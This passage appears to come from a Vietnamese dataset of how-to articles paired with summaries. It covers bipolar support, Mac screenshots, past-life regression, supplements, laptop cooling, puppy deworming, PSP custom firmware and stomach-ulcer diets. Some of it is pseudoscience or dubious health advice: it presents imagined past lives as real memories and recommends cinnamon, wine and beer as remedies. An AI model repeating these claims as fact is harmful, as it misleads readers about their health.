dụ, nếu người đó nghĩ rằng không ai yêu thương họ và họ là một người “xấu” thì bạn nên nói như sau: “Chị biết em cảm thấy như vậy, chị rất tiếc vì những cảm xúc đó. Nhưng chị muốn em biết rằng chị yêu em, em là một người tốt và luôn biết quan tâm tới người khác”. Hưng cảm và trầm cảm là hai điểm nổi bật của rối loạn lưỡng cực. Trên trang web của Liên minh Hỗ trợ Người bệnh Trầm cảm và Rối loạn lưỡng cực có bài kiểm tra tầm soát dành cho chứng hưng cảm và trầm cảm. Bài kiểm tra này được giữ bí mật và có thể làm ngay tại nhà nên bớt gây stress cho người bệnh, giúp họ nhận ra nhu cầu cần được chữa trị. Rối loạn lưỡng cực là căn bệnh rất nghiêm trọng, nếu không chữa trị bệnh nhẹ có thể trở thành nặng. Bạn phải thuyết phục người thân của mình đi khám bệnh ngay.  Bước đầu tiên là đi gặp bác sĩ đa khoa. Họ sẽ là người quyết định người bệnh có cần tới gặp bác sĩ chuyên khoa tâm thần hay không. Chuyên gia sức khỏe tâm thần thường áp dụng liệu pháp tâm lý trong kế hoạch điều trị. Có nhiều loại chuyên gia sức khỏe tâm thần có thể cung cấp liệu pháp tâm lý, bao gồm bác sĩ chuyên khoa tâm thần, chuyên gia tâm lý, y tá hay nhân viên y tế có chứng chỉ hành nghề, chuyên viên tư vấn đã qua đào tạo. Bạn có thể nhờ bác sĩ hay bệnh viện giới thiệu cho mình một chuyên gia.  Nếu xác định cần phải uống thuốc thì bệnh nhân phải tới bác sĩ chuyên khoa tâm thần hay chuyên gia tâm lý để được kê thuốc, nhân viên y tế và chuyên viên tư vấn có thể cung cấp liệu pháp tâm lý nhưng không được kê thuốc.

Summary: Tránh dùng ngôn ngữ gây tổn thương. Nói về mối lo của bạn với người bệnh. Sử dụng cách xưng "Chị" hay các cách xưng phù hợp khác sao cho truyền tải được tình cảm thân thiết và tình thương yêu của bạn. Tránh đe dọa và đổ lỗi. Định hình buổi nói chuyện hướng tới vấn đề sức khoẻ. Khuyến khích người bệnh chia sẻ cảm xúc và trải nghiệm. Không được gạt đi các suy nghĩ và cảm xúc của người bệnh vì cho rằng nó “không thật” hoặc không đáng xem xét. Thuyết phục người bệnh đi khám bệnh tầm soát. Nhấn mạnh vai trò của chuyên gia khi điều trị.


Bước này sẽ biến con trỏ thành một biểu tượng camera nhỏ và biến bất cứ cửa sổ nào mà người dùng đang trỏ chuột thành màu xanh nổi bật. Để tìm ra đúng cửa sổ, bạn có thể lướt xem các ứng dụng đang mở bằng tổ hợp phím Command + Tab hoặc nhấn F3 để lựa chọn tất cả các cửa sổ đang mở. Nhấn Esc để hủy bỏ mà không chụp bất kỳ ảnh nào. Tìm kiếm tập tin của bạn trên màn hình desktop.

Summary: Giữ Command + Shift + 4 + Space. Tô sáng cửa sổ muốn chụp lại màn hình. Nhấp vào cửa sổ được tô sáng.


Đảm bảo nhiệt độ trong phòng không quá nóng hoặc quá lạnh. Kéo màn cửa xuống, tắt ti vi hoặc radio, tắt điện thoại, và nếu có máy tạo âm thanh, bạn có thể mở vừa đủ để át tiếng động bên ngoài. Thử một trong những âm thanh nền sau:  Âm thanh trắng. Âm thanh này nghe như tiếng ồn của ti vi khi không có kênh. Âm thanh nâu. Âm thanh này nghe như tiếng sóng biển vỗ từ xa. Ngồi hoặc dựa vào một vật trong căn phòng tối và yên tĩnh, tách khỏi bạn bè và người thân. Chọn thời điểm bạn tỉnh táo, cơ thể và tâm trí thư giãn. Nếu bạn đang đói, đang suy nghĩ lan man hoặc nếu bạn để một bài hát nào đó văng vẳng trong đầu thì bạn sẽ rất khó tập trung. Nằm thoải mái trên giường hoặc bất cứ nơi nào mà bạn đã chọn để tự thôi miên, và chỉ cần thả lỏng vài phút để sẵn sàng cho cuộc hành trình. Nhắm mắt và thư giãn. Nằm ngửa, hai tay để hai bên sườn và tắm mình trong ánh sáng bảo vệ:  Tưởng tượng một luồng ánh sáng trắng bao bọc xung quanh bạn. Hình dung ánh sáng đó trong con mắt của tâm trí bạn, soi lên bàn chân, chân, đầu gối, đùi, thân trên, cánh tay, cổ, mặt và đầu. Ánh sáng này che chở bạn khỏi những tác động tiêu cực. Nó tượng trưng cho tình yêu, sự ấm áp và soi sáng trong màn sương tráng lệ quanh bạn, bao bọc bạn trong sự rực rỡ của nó, bảo vệ bạn khỏi những điều xấu xa. Hình dung ánh sáng trong tâm trí bạn. Cảm nhận sự ấm áp của ánh sáng đó và để nó bao trùm lên bạn. Lặp đi lặp lại bằng lời nói hoặc bằng suy nghĩ, "Tôi đang thở trong nguồn năng lượng bảo vệ mạnh mẽ. Nguồn năng lượng này tạo thành vầng hào quang bao bọc xung quanh tôi. Vầng hào quang đó bảo vệ tôi mọi lúc và bằng mọi cách."  Nói điều này năm lần hoặc nhẩm năm lần khi hít vào. Sau đó bạn chỉ cần tập trung vào việc tưởng tượng và cảm nhận nguồn năng lượng, làm cho ánh sáng trở nên rực rỡ và mạnh mẽ hơn. Cảm nhận một sắc màu khác xuất hiện trong tâm trí bạn, lặp đi lặp lại cho đến khi bạn sẵn sàng chuyển sang bước kế tiếp. Tưởng tượng bạn đang đứng trong một hành lang dài, cuối hành lang có một cánh cửa. Quan sát hành lang một cách chi tiết hết sức có thể với bất cứ hình ảnh gì hiện lên trong đầu.  Hành lang mà bạn đang hình dung có thể dát toàn vàng bạc, hoặc có kiến trúc kiểu Gothic như một nhà thờ lớn được xây từ đá quý, hoặc là một thảm thực vật với những vòm lá đan trên đầu. Lựa chọn là của bạn. Dù hành lang trong đầu bạn có cấu trúc là gì, bạn hãy sử dụng nó mỗi khi bạn đi tìm cuộc sống ở kiếp trước. Hãy thả cho trí tưởng tượng đi xa với kỳ vọng rằng khi bạn đến cuối hành lang, chạm vào cánh cửa lớn và xoay tay nắm cửa, bạn sẽ phát hiện ra cuộc sống của mình ở kiếp trước. Đi từng bước, từng bước với sự chú tâm. Nhìn đôi bàn chân chạm đất, mường tượng mọi khía cạnh của cuộc hành trình khi bạn tiến đến cánh cửa lớn – mùi hương trong phòng, âm thanh xung quanh, sắc màu của ánh sáng, thậm chí “mùi” của không khí quanh bạn. Sau cùng, bạn sẽ đến cuối hành lang – khi bạn cảm thấy mình đã sẵn sàng và không còn trong khoảnh khắc trước đó – hãy đặt tay lên nắm cửa. Quan sát từng cử chỉ của bạn, cảm nhận chất liệu của tay nắm, âm thanh của kim khí khi bạn xoay tay nắm cửa. Khi chốt cửa bật ra, bạn hãy hít một hơi và nhẹ nhàng đẩy cánh cửa. Chấp nhận thứ đầu tiên bạn nhìn thấy ở bên kia cánh cửa là những gì hiện hữu trên những chuyến bay trước đây.  Đó có thể là một điều trừu tượng như sắc vàng, hoặc rõ ràng và sống động như một đứa bé được ấp iu trong vòng tay bạn. Lấy bất cứ thứ gì bạn nhìn thấy để làm nền tảng. Hãy xây dựng trên đó. Cảm nhận nó. Giữ lại hình ảnh trong tâm trí bạn và mở nó ra, đón nhận bất cứ thứ gì hiện ra trong đầu bạn. Bạn có thể nhận thấy “sắc vàng” biến thành một tấm thảm. Khi bước sâu hơn vào trí tưởng tượng của mình, bạn có thể khám phá ra màu vàng đó là ánh nắng mặt trời chảy tràn trên thảm. Có lẽ đột nhiên bạn nhận ra tấm thảm đó đang ở trong một ngôi nhà London… Đến lúc này có thể bạn hoài nghi bản thân mình, nhưng hãy an tâm, bạn đang nhớ lại cuộc sống ở kiếp trước. Nếu không nhìn thấy gì, bạn hãy thử suy nghĩ về một điều gì đó mà bạn luôn hứng thú, một sở thích, một kỹ năng hoặc một địa điểm du lịch. Bạn có thể tự hỏi mình, “Vì sao mình thích điều này? Nó có liên quan gì đế cuộc sống của mình ở kiếp trước không?”  Nếu vẫn chưa nhìn thấy gì, bạn hãy thử dùng phương pháp đôi giày: nhìn xuống chân, tưởng tượng đôi giày bạn đang đi. Bạn sẽ thấy trang phục mình đang mặc, và hãy bắt đầu từ đó. Bạn có thể nhìn thấy một đôi xăng-đan và chợt nhận ra bạn đang mặc một bộ áo chẽn. Bạn cũng có thể nhìn thấy mình đi đôi giày gót nhọn và mặc váy lụa dạ hội. Nếu bạn thấy mình đang ở trong một ngôi nhà lộng lẫy với cô vợ xinh đẹp và tự hỏi vì sao mình có thể đến được nơi này, vậy là bạn vừa bước vào một bài hát của ban nhạc Talking Heads. Hãy mỉm cười và tiếp tục khám phá. Một khi bạn nhớ về một điều gì đó – thậm chí chỉ là một đôi giày – và nếu bạn khá chắc chắn rằng trong đó có một chút sự thực, bạn có thể bắt đầu suy ngẫm từ đó. Luôn bắt đầu từng đoạn với những gì bạn đã nhìn thấy. Luôn luôn bắt đầu từ cái đã biết đi đến cái chưa biết. Những hình ảnh đó sẽ có vẻ như được bạn tạo dựng nên. Đôi khi đúng là thế, và bạn phải chấp nhận điều đó như một phần trong quá trình nỗ lực nhớ lại cuộc sống tiền kiếp.  Hầu như luôn luôn có một chút sự thực ẩn sâu trong những hình ảnh đó. Bạn sẽ chỉ biết chắc chắn khi đã trải qua nhiều lần suy ngẫm về cuộc sống ở kiếp trước, và bạn bắt đầu thấy được các kiểu hình và các chi tiết lặp đi lặp lại. Trong lúc đó bạn phải tin vào những gì mình nhìn thấy là thật; nếu không, bạn sẽ không bao giờ đi đến đích. Tư duy phân tích của bạn sẽ chỉ dập tắt mọi hình ảnh như một sản phẩm của trí tưởng tượng quá phấn khích. Trừ khi bạn cần phải đưa mình ra khỏi một ký ức không mấy dễ chịu, thông thường ngọn lửa nhiệt tình trong bạn sẽ dần nguội bớt. Những hình ảnh không còn xuất hiện trong đầu nữa, hoặc tư duy phân tích của bạn được đánh thức một cách tình cờ vì một thứ gì đó mà bạn nhìn thấy… và thế là bạn đã hoàn thành. Bạn không còn lựa chọn nào khác là mở mắt ra. Nếu điều đó không xảy ra và bạn đang sẵn sàng quay trở về cuộc sống hiện tại, bạn chỉ cần tưởng tượng lối đi nơi bạn đã bắt đầu. Mở cánh cửa ra và bước xuống hành lang đá quý đó – hoặc bất cứ thứ gì bạn đã tưởng tượng – và tự nhủ rằng khi đã đạt đến điểm khởi đầu, bạn sẽ thấy khỏe khoắn trở lại, và bạn sẽ nhớ lại cuộc sống ở kiếp trước của mình với từng chi tiết rõ ràng đến mức hoàn hảo.

Summary: Chuẩn bị phòng. Thư giãn tâm trí và tìm một nơi thanh tịnh. Thả lỏng cơ thể. Chuẩn bị sẵn sàng. Khởi đầu cuộc hành trình. Hãy bước xuống hành lang. Đón chào cuộc sống ở kiếp trước. Kiên nhẫn. Chấp nhận thứ mà bạn nhìn thấy. Trở về hiện tại.


Butyrate là axit béo chuỗi ngắn mang lại nhiều lợi ích cho sức khỏe, bao gồm tăng sản sinh CREB protein trong cơ thể. Hỏi bác sĩ xem việc sử dụng thực phẩm chức năng bổ sung butyrate (có bán ở dạng không kê đơn tại các hiệu thuốc và cửa hàng thực phẩm chăm sóc sức khỏe) có phù hợp hay không. Hoặc bạn nên cố gắng kết hợp butyrate vào chế độ ăn một cách tự nhiên bằng cách tăng cường tiêu thụ rau củ quả giàu chất xơ và chất béo động vật (ví dụ như bơ động vật, kem sữa béo). Ăn quế có thể giúp cơ thể tăng sản sinh CREB protein nên quế trở thành đối tượng cho nghiên cứu về các căn bệnh như Alzheimer’s. Quế có thể được chuyển hóa thành dạng sodium-benzoate không độc tính, một hóa chất được Cục Quản lý Thực phẩm và Dược phẩm Hoa Kỳ chấp thuận dùng để điều trị thương tổn ở não. Bạn có thể mua thực phẩm chức năng bổ sung quế ở các hiệu thuốc hoặc cửa hàng thực phẩm chăm sóc sức khỏe, hoặc kết hợp quế vào chế độ ăn uống hàng ngày bằng cách:  Dùng tinh dầu quế khi chế biến thức ăn hoặc nướng Uống trà quế Dùng đường quế Nướng bánh quế cuộn, bánh mì chiên sữa trứng vị quế, hoặc bánh kem cà phê quế Chiết xuất việt quất được chứng minh giúp cải thiện chức năng nhận thức và tăng hoạt hóa CREB protein trong cơ thể. Chiết xuất có thể được tiêu thụ ở dạng thực phẩm hoặc đơn giản hơn là ở dạng thực phẩm chức năng (ví dụ như bột chiết xuất việt quất tinh khiết hoặc anthocyanin chiết tách từ chiết xuất việt quất). Để đạt kết quả tốt nhất, bạn nên cố gắng nạp 5,5-11 g chiết xuất việt quất, 500-1000 mg anthocyanin chiết tách hoặc 60-120 g việt quất tươi mỗi ngày.

Summary: Uống thực phẩm chức năng bổ sung butyrate. Ăn quế. Tiêu thụ chiết xuất việt quất.


Bạn có thể tìm thấy trên mạng. Nếu bạn ép xung, máy tính sẽ nóng hơn so với thông thường. Còn nếu bạn không làm thế thì không cần hạ xung vì điều này sẽ khiến máy tính bị chậm. Lưu ý rằng cách này chỉ áp dụng trên Windows. Bạn cũng có thể thực hiện trên Mac nhưng sẽ phức tạp hơn so với Windows. Nhấp chuột vào pin và chọn “more power options” (nhiều tùy chọn nguồn hơn). Nhấp vào “Change plan settings” (Thay đổi cài đặt gói) ngay trạng thái mà bạn đang sử dụng, sau đó nhấp vào “Advanced power settings” (Cài đặt nguồn nâng cao). Nhấp tiếp vào “processor power management” (quản lý bộ xử lý nguồn) rồi đến “maximum processor states” (tình trạng bộ xử lý tối đa). Đặt thông số cả hai nguồn tầm 70-90% (80% là thông số khuyến nghị). Cách này cũng rất hiệu quả!

Summary: Cài chương trình theo dõi nhiệt độ. Ngừng ép xung. Giảm trạng thái bộ xử lý tối đa. Giảm độ sáng.


Chó thường mang giun và các ký sinh vật khác có thể gây ra nhiều vấn đề về sức khỏe, vì vậy bạn nên sử dụng thuốc chống giun ngay khi chó con đủ lớn. Không có sản phẩm chống giun nào được khuyến nghị dùng cho chó con mới đẻ. Tuy nhiên fenbendazole (Panacur) phù hợp cho chó từ 2 tuần tuổi trở lên. Panacur có dạng lỏng và được sử dụng bằng cách dùng ống tiêm bơm vào miệng chó sau khi bú sữa. Liều lượng uống là 2 ml mỗi ngày cho mỗi kilôgam cân nặng. Cho uống mỗi ngày 1 lần trong 3 ngày. Thuốc chống bọ chét không bao giờ được sử dụng cho chó con mới đẻ. Đa số các sản phẩm này đều có khuyến cáo về khối lượng và độ tuổi tối thiểu khi sử dụng, và hiện nay không có sản phẩm nào dùng cho chó con mới sinh.  Chó con phải đạt tối thiểu 6 tuần tuổi trước khi thoa selamectin. Đối với fipronil (Frontline) thì chó phải đạt tối thiểu 8 tuần tuổi và trên 2 kg. Chó con đã có một mức miễn dịch nhất định từ sữa mẹ, nhưng chúng vẫn cần tiêm chủng bổ sung để đảm bảo. Hỏi bác sĩ thú y về kế hoạch tiêm chủng thích hợp.

Summary: Sau hai tuần tuổi bạn có thể sử dụng sản phẩm chống giun cho chúng. Chờ đến khi chó đủ 6 tuần tuổi trước khi thoa thuốc chống bọ chét. Bắt đầu tiêm chủng chó con khi đạt 6 tuần tuổi.


Homebrew là chương trình (giống như games và giả lập hệ thống game cũ) được viết bởi các lập trình viên tự do và thường được cung cấp miễn phí cho người có nhu cầu sử dụng. Nhược điểm của việc chạy homebrew trên PSP là bạn phải hack firmware để máy cài đặt những chương trình không được cấp phép. Hack firmware PSP không phải là vấn đề pháp lý nghiêm trọng nhưng can thiệp như vậy nhiều khả năng máy sẽ không thể chạy các game thương mại. Mặc dù cộng đồng homebrew luôn cải thiện độ tin cậy và tính tương thích nhưng vẫn tồn tại nhiều vấn đề. Hãy sao lưu toàn bộ tập tin và dữ liệu điện tử khác vào thẻ nhớ phụ trước khi tiến hành, phòng khi bị lỗi. Bạn có thể sử dụng firmware chính thức hoặc tùy chỉnh. Phiên bản firmware chính thức mới nhất trên PSP là 6.60. Nếu đang chạy phiên bản cũ hơn 6.60 thì bạn được khuyến cáo cập nhật bản mới vì các tựa game mới không hoạt động trên firmware cũ. Truy cập trang web chính thức của Sony và tải firmware mới nhất, có hướng dẫn rất cụ thể về quá trình cập nhật. Sau khi cập nhật phiên bản 6.60, bạn cài firmware tùy chỉnh (CFW). CFW thích hợp nhất với các dòng PSP (1000/2000/3000/e1000 hay Go!) là "PRO".  Mọi dòng máy đều tương thích với PRO CFW. Cách cài đặt như sau:  Tải 6.60 PRO-C fix3 CFW. C2 là phiên bản mới hơn nhưng lại lỗi không chơi được game PSN nên bạn được khuyến cáo sử dụng bản PRO-C fix3. Truy cập chế độ USB. Điều hướng tới trình đơn “Settings” của PSP và chọn “USB mode” (Chế độ USB). Kết nối PSP với máy tính bằng cáp USB và mở trên màn hình. Đừng quên lắp thẻ nhớ vào máy PSP. Điều hướng tới tập tin gốc của thẻ nhớ. Sao chép firmware. Firmware gồm 3 thư mục (PRO Update, CPL Flasher và Fast recover), sao chép 3 thư mục này vào thư mục "PSP\GAME\" của thẻ nhớ. Thoát chế độ USB. Ngắt kết nối PSP với máy tính và thoát chế độ USB bằng lựa chọn thích hợp. Bạn có thể xóa tập tin trên máy tính nếu muốn. Vào trình đơn PSP và chọn “Game/Memory Stick” (Game/Thẻ nhớ). Từ đây, bạn chọn biểu tượng “PRO Update” (Cập nhật PRO). Nhấn X để khởi động firmware. Ghi nhớ firmware. Sau khi cài đặt firmware homebrew, bạn cần ghi nhớ vĩnh viễn hoặc biết cách khôi phục lại firmware để chơi game homebrew. Phương pháp sẽ tùy thuộc vào dòng máy PSP.  Với dòng 1000-series and 2000-series, truy cập trình đơn “Game/Memory Stick" và chọn biểu tượng “CIPL Flasher”. Nhấn X để cập nhật firmware vĩnh viễn. Với dòng 3000-series và GO-series, các biện pháp an ninh sẽ ăn không cho bạn ghi nhớ firmware. Tuy nhiên, bạn có thể chạy tiện ích Fast Recovery (Khôi phục Nhanh) của PSP để khôi phục firmware tùy chỉnh ở mục này. Bây giờ mọi thứ ổn định và chạy trơn tru, bạn chỉ cần lên mạng gõ từ khóa “PSP homebrew games” là tìm được kết quả. Nhiều game là phiên bản giả lập của tựa game cũ hơn trên hệ thống khác, một số game khác được thiết kế tùy chỉnh.

Summary: Tìm hiểu về homebrew. Nhận thức được hành động của bản thân. Cập nhật phiên bản firmware chính thức mới nhất của hệ thống PSP. Yêu cầu firmware tùy chỉnh. Cài đặt firmware tùy chỉnh. Tải game homebrew.


Bạn có thể chọn nhiều màu sắc và thiết kế khác nhau. Bạn cũng có thể tự thiết kế popsocket cho riêng mình bằng cách tải một bức ảnh độc đáo lên trong lúc đặt hàng. Để đặt một chiếc popsocket, hãy truy cập https://www.popsockets.com/. Quyết định trước vị trí bạn muốn gắn popsocket theo ý định sử dụng của mình. Đặt popsocket ở mặt lưng của điện thoại mà không cần tháo lớp keo dính để xem nó trông như thế nào. Nếu muốn gắn hai popsocket vào mặt lưng của điện thoại, hãy đặt chúng lên thử và đảm bảo chúng được xếp thẳng hàng.  Chẳng hạn, nếu muốn đỡ một chiếc điện thoại nhỏ theo chiều dọc, bạn hãy đặt popsocket ở phần dưới cùng của điện thoại. Bạn có thể gắn hai popsocket để đỡ điện thoại lớn hơn hoặc để quấn gọn tai nghe. Quyết định xem liệu bạn muốn gắn popsocket trực tiếp lên điện thoại hay lên ốp lưng. Khi đã sẵn sàng để gắn popsocket, từ từ bóc miếng dán ở mặt đế. Kéo nhẹ miếng dán để tránh bị rách, bắt đầu từ một góc và nhẹ nhàng nâng nó lên. Không gỡ bỏ lớp bảo vệ keo trước khi sẵn sàng gắn popsocket vào điện thoại. Khi bề mặt keo dính được bóc ra, hãy ấn nó lên vị trí mà bạn muốn đặt popsocket. Ấn mạnh xuống trong 10-15 giây để đảm bảo nó dính vào điện thoại.

Summary: Mua popsocket từ trang web chính thức của nhãn hàng. Quyết định vị trí gắn popsocket. Bóc miếng dán trên bề mặt keo dính. Dán popsocket vào điện thoại.


Trầm cảm có thể là do thiếu hụt magie. Vì đây là bệnh có thể dễ dàng xét nghiệm nên bạn có thể yêu cầu bác sĩ tiến hành xét nghiệm máu để xác định thiếu hụt magie. Bác sĩ có thể hướng dẫn bạn cách tăng tiêu thụ maige. Một số rối loạn ở thận và dạ dày có thể ảnh hưởng đến khả năng hấp thụ magie. Ở một số quốc gia như Mỹ, đa số người dân đều không bổ sung đủ lượng magie cần thiết mỗi ngày như được khuyến nghị.   Triệu chứng thiếu hụt magie gồm có lo lắng, mất ngủ, cáu kỉnh, lú lẫn, nhịp tim thay đổi bất thường, thở gấp, kích động, buồn nôn, mệt mỏi, co thắt cơ, hạ huyết áp, nôn mửa và co giật.  Lượng magie có thể bị tiêu hao do tiêu thụ quá nhiều cà phê, soda, muối, đồ uống chứa cồn hoặc thuốc lợi tiểu. Nồng độ magie cũng có thể hạ thấp do đổ mồ hôi quá nhiều, chảy máu nhiều trong kỳ kinh nguyệt và căng thẳng kéo dài. Magie có trong nhiều loại thực phẩm, đặc biệt là rau lá xanh. Để giúp tăng nồng độ magie, bạn cần tăng dung nạp lượng magie hàng ngày thông qua thực phẩm. Nguồn magie dồi dào đến từ nhiều nguồn thực phẩm từ thực vật khác nhau và bạn có thể kết hợp vào các công thức nấu ăn hàng ngày.  Thực phẩm giàu magie gồm có đậu phụ, đậu, ngũ cốc nguyên hạt, ngũ cốc nguyên cám, bột mì nguyên cám, bột yến mạch, gạo lứt, yến mạch, sôcôla và bột cacao. Rau lá xanh giàu magie gồm có rau mù tạt, cải cầu vồng, củ dền, rau cải, cải rổ và rau bina (cải bó xôi). Nên ăn nhiều loại hạt như hạt Brazil, hạt thông, hạt óc chó đen, lạc, hạnh nhân, hồ trăn và hạt điều. Ngoài ra, bạn có thể ăn hạt bí đỏ để tăng cường magie. Có nhiều loại thảo mộc, gia vị và rong biển giúp bổ sung magie, ví dụ như rong biển Agar, mù tạt khô, thìa là, bột cần tây, xô thơm, húng quế, hạt cây thìa là, ngải giấm, hạt hoa anh túc, rau mùi, kinh giới ô và nghệ. Nước khoáng chứa nhiều thành phần có ích mà nước thường không có. Uống ít nhất 2 lít nước khoáng mỗi ngày giúp cung cấp đủ nước cho cơ thể và bổ sung đến 25% nhu cầu magie được khuyến nghị mỗi ngày. Bạn nên đọc thông tin trên sản phẩm nước khoáng để biết sản phẩm chứa bao nhiêu magie. Lượng magie trong mỗi lít nên nằm ở mức 20-110 mg. Nghiên cứu cho thấy khả năng hấp thụ magie từ nước khoáng tự nhiên sẽ cao hơn khi uống trong bữa ăn thay vì uống giữa các bữa ăn. Magie gluconat, magie lactat và magie citrat là những dạng magie được khuyến nghị nên bổ sung. Magie dạng này được cơ thể hấp thụ dễ dàng hơn. Trung bình, người trưởng thành nên bổ sung ít nhất 350 mg magie mỗi ngày. Trẻ nhỏ chỉ nên bổ sung 130-240 mg magie mỗi ngày.  Không cho trẻ nhỏ, người có vấn đề về thận hoặc người bị rối loạn  tiêu hóa uống thực phẩm chức năng bổ sung nếu không được sự đồng ý và hướng dẫn của bác sĩ. Phụ nữ mang thai cần tăng cường bổ sung magie. Ngoài ra, người đang phục hồi sau phẫu thuật hoặc sau khi bị bệnh, người đang trải qua huấn luyện thể thao cũng nên tăng cường magie. Nếu muốn uống thực phẩm chức năng bổ sung magie, bạn nên hỏi bác sĩ về liều chính xác được khuyến nghị mỗi ngày. Thực phẩm chức năng bổ sung magie có thể gây tác dụng phụ khi dùng với một số thuốc chữa bệnh. Người đang dùng thuốc chữa bệnh nên tham khảo ý kiến bác sĩ trước khi muốn uống thực phẩm chức năng. Tác dụng phụ điển hình khi tăng dung nạp magie gồm có đau bụng, tiêu chảy, huyết áp hạ quá thấp, buồn nôn, rối loạn nhịp tim, lú lẫn, nôn mửa, liệt đường hô hấp, hạ nhịp tim, thiếu hụt các khoáng chất khác, hôn mê, ngừng tim và một số trường hợp có thể bị tử vong.

Summary: Tiếp nhận xét nghiệm máu. Ăn thực phẩm giàu magie. Uống nước khoáng. Uống thực phẩm chức năng bổ sung magie. Nhận thức tác dụng phụ.


Các gốc tự do trong dạ dày có thể phá vỡ niêm mạc dạ dày, khiến tình trạng viêm loét trở nên nặng hơn. Chất chống oxi hóa được biết đến là những chất giúp tiêu diệt gốc tự do gây hại. Vì vậy, bạn nên tiêu nhiều thực phẩm giàu chất chống oxi hóa, bao gồm:  Cà phê (đặc biệt là Espresso) Rượu vang đỏ Nước ép quả lựu Nước ép nho Trà xanh Lúa mạch Mầm lúa mạch Beans and lentils Các loại hạt (quả óc chó, lạc, hạt dẻ, hạnh nhân,...) Sôcôla Các loại quả mọng (việt quất, nam việt quất, mâm xôi, dâu tây,...) Một số loại gia vị (bao gồm đinh hương, ngũ vị hương, quế) Một số loại thảo mộc (bao gồm bạc hà, rau Oregano, húng tây, xô thơm, hương thảo) Thực phẩm từ cà chua (sốt, cà chua phơi khô) Flavonoid có trong nhiều loại thực vật và được định nghĩa là hợp chất hữu cơ của các sắc tố sinh học. Flavonoid cũng giúp chống lại gốc tự do, bảo vệ niêm mạc dạ dày giống như chất chống oxi hóa. Thực phẩm giàu flavonoid bao gồm:  Việt quất Dâu tây Đào Táo Cam Cà chua Cần tây Đậu đen Hắc trà, lục trà và trà Ô long Bia Mặc dù không phải là thức uống phổ biến nhưng nước ép bắp cải lại giúp chữa lành viêm loét dạ dày một cách hiệu quả. Bắp cải chứa nhiều vi khuẩn giúp sản sinh axit lactic; những vi khuẩn này cần thiết trong việc chống lại và tiêu diệt vi khuẩn gây viêm loét.  Nên uống 50 ml nước ép bắp cải hai lần mỗi ngày khi dạ dày rỗng. Có thể dùng máy ép để tự ép lấy nước bắp cải tại nhà hoặc mua sản phẩm nước ép trong siêu thị, cửa hàng thực phẩm tốt cho sức khỏe. Nam việt quất giúp chống lại khuẩn H. Pylori. Nghiên cứu còn cho thấy nước ép nam việt quất giúp ngăn không cho hại khuẩn bám vào niêm mạc dạ dày. Có thể uống nước ép nam việt quất, ăn quả nam việt quất tươi hoặc uống thực phẩm chức năng từ quả nam việt quất (có bán tại các hiệu thuốc và cửa hàng vitamin). Nghiên cứu cho thấy trong khoai lang trắng chứa các chất giúp chữa lành vết thương hiệu quả. Ăn khoai lang trắng giúp chữa lành viêm loét. Bạn có thể tìm mua khoai lang trắng ở các chợ, siêu thị và chế biến theo nhiều cách, bao gồm hấp và nướng. Nghiên cứu và y học truyền thống chứng minh rằng mật ong là chất kháng sinh tự nhiên mạnh mẽ. Vì vậy, mật ong có thể giúp chống lại khuẩn H. pylori gây viêm loét dạ dày.  Bạn có thể ăn vài thìa mật ong mỗi ngày để điều trị viêm loét. Rễ cam thảo có đặc tính kháng khuẩn H. Pylori nên rất có lợi trong việc điều trị viêm loét. Chiết xuất rễ cam thảo có bán ở các siêu thị, nhà thuốc và cửa hàng thực phẩm tốt cho sức khỏe. Trao đổi với bác sĩ trước khi muốn sử dụng cam thảo và uống chiết xuất cam thảo theo đúng chỉ dẫn vì cam thảo nồng độ cao có thể gây tác dụng phụ như cao huyết áp và hạ nồng độ kali. Nghiên cứu chỉ ra rằng ăn chuối có thể giúp bảo vệ niêm mạc dạ dày, từ đó giúp điều trị triệu chứng viêm loét dạ dày.  Mặc dù không giúp chữa lành viêm loét nhưng ăn chuối có thể giúp giảm bớt triệu chứng. Chuối chưa chín sấy khô cũng có ích; mặt khác, chuối chín có thể không có tác dụng tích cực. Nên dùng dầu oliu khi chế biến các món ăn như trứng hoặc rau. Dầu oliu chứa chất béo tốt cho sức khỏe được cơ thể xử lý dễ dàng hơn so với chất béo trong sản phẩm từ động vật như bơ. Ngoài ra, bạn có thể nấu ăn với dầu dừa, dầu cám gạo, dầu mè hoặc dầu cây rum. Chế độ ăn nhạt tập trung vào những thực phẩm ít chất xơ, dễ tiêu hóa. Những thực phẩm này tốt cho dạ dày và ít gây kích thích viêm loét.  Nên trao đổi với bác sĩ để biết liệu chế độ ăn nhạt có giúp ích trong việc điều trị viêm loét dạ dày hay không, và nên áp dụng chế độ ăn này trong bao lâu. Chế độ ăn nhạt có thể bao gồm những thực phẩm:  Chế phẩm từ sữa động vật ít béo (sữa, sữa chua,...) Rau củ nấu chín, đóng hộp hoặc đông lạnh không chứa gia vị Nước ép hoa quả và rau củ Sốt táo Ngũ cốc ăn sáng Thịt nạc, mềm như thịt gà luộc hoặc cá nướng, không nêm gia vị Bơ lạc béo Đậu phụ

Summary: Ăn thực phẩm giàu chất chống oxi hóa. Tìm những thực phẩm chứa nhiều chất flavonoid. Uống nước ép bắp cải. Tiêu thụ sản phẩm từ nam việt quất. Ăn khoai lang trắng. Tiêu thụ nhiều mật ong hơn. Uống thực phẩm chức năng từ cam thảo. Ăn nhiều chuối. Dùng dầu thay vì dùng bơ. Áp dụng chế độ ăn nhạt.


Nhấn Connections → Connect (Kết nối) để mở cửa sổ Connect. Bạn cũng có thể nhấn nút Ctrl+S để mở nhanh cửa sổ. Cửa sổ này cho phép bạn nhập vào thông tin máy chủ. Ngoài ra, bạn có thể nhấn vào các liên kết TeamSpeak trên trang web để tự động chạy ứng dụng TeamSpeak và kết nối tới máy chủ. Bạn sẽ cần phải nhập địa chỉ kênh, có thể là tên hoặc là một địa chỉ IP. Đảm bảo bạn đã nhập cả cổng của máy chủ, biểu thị bằng một dấu ":" theo sau là một số cổng. Nếu máy chủ yêu cầu mật khẩu, bạn sẽ phải nhập nó vào trường "Server Password" (Mật khẩu Máy chủ). Bạn có thể chọn các hồ sơ khác nhau để lưu giữ thiết lập các phím nóng và micrô, nhưng bạn có thể chưa cần phải thay đổi những điều này ngay bây giờ.  Tên hiệu hiển thị sẽ là tên hiệu bạn yêu cầu. Nếu tên này đã được người khác dùng trên máy chủ, bạn sẽ phải đổi tên. Bạn thường có thể tìm thấy thông tin về máy chủ TeamSpeak trên trang hoặc diễn đàn của nhóm bạn. Hãy hỏi một thành viên khác nếu bạn không tìm thấy nó. TeamSpeak sẽ thực hiện kết nối tới máy chủ, và bạn sẽ thấy cửa sổ chính bắt đầu hiện thông tin. Bạn có thể kiểm tra tình trạng kết nối trong khung tình trạng ở dưới cùng cửa sổ. Ở bên trái cửa 